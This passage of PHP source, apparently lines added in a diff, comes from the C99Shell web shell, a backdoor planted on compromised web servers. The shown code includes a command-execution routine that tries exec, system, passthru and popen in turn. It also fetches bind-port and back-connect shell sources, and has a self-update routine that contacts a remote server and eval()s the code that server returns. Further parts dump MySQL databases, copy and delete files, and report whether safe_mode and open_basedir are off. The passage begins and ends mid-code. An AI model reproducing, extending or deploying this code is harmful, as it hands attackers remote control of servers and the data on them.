foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?<a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = 